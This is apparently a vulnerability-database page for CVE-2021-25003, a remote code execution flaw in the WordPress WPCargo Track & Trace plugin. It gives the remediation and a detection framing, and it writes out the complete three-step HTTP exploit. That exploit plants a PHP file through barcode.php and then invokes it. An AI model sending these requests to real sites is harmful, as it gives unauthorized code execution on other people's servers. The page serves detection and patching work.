🔙 목록으로 돌아가기

CVE-2021-25003: WordPress WPCargo Track & Trace <6.9.0 - Remote Code Execution

TitleWordPress WPCargo Track & Trace <6.9.0 - Remote Code Execution
Authortheamanrawat
SeverityCritical
ImpactSuccessful exploitation of this vulnerability could lead to remote code execution, allowing an attacker to execute arbitrary code on the affected system.
RemediationUpdate to the latest version of the WPCargo Track & Trace plugin (6.9.0 or higher) to mitigate this vulnerability.
CVSS Score9.8
EPSS Score0.92018
CVE IDCVE-2021-25003
CWE IDCWE-434,CWE-94
Tags cve2021 cve rce wpcargo unauth wordpress wp wp-plugin wpscan intrusive wptaskforce vkev vuln

🔍 Vulnerability Description

WordPress WPCargo Track & Trace plugin before 6.9.0 is susceptible to remote code execution, The plugin contains a file which can allow an attacker to write a PHP file anywhere on the web server, leading to possible remote code execution. This can allow an attacker to execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.

🌐 HTTP Request

GET /wp-content/plugins/wpcargo/includes/38FI1ZfYZ7PFm4aw66b3WvWubyv.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
GET /wp-content/plugins/wpcargo/includes/barcode.php?text=x1x1111x1xx1xx111xx11111xx1x111x1x1x1xxx11x1111xx1x11xxxx1xx1xxxxx1x1x1xx1x1x11xx1xxxx1x11xx111xxx1xx1xx1x1x1xxx11x1111xxx1xxx1xx1x111xxx1x1xx1xxx1x1x1xx1x1x11xxx11xx1x11xx111xx1xxx1xx11x1x11x11x1111x1x11111x1x1xxxx&sizefactor=.090909090909&size=1&filepath=38FI1ZfYZ7PFm4aw66b3WvWubyv.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.5 Mobile/15E148 Safari/604.1
Connection: close
Accept-Encoding: gzip
POST /wp-content/plugins/wpcargo/includes/38FI1ZfYZ7PFm4aw66b3WvWubyv.php?1=var_dump HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0
Connection: close
Content-Length: 34
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

2=74c4481c34e417ac39d1de6b4f854c4f

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-25003.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-25003.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A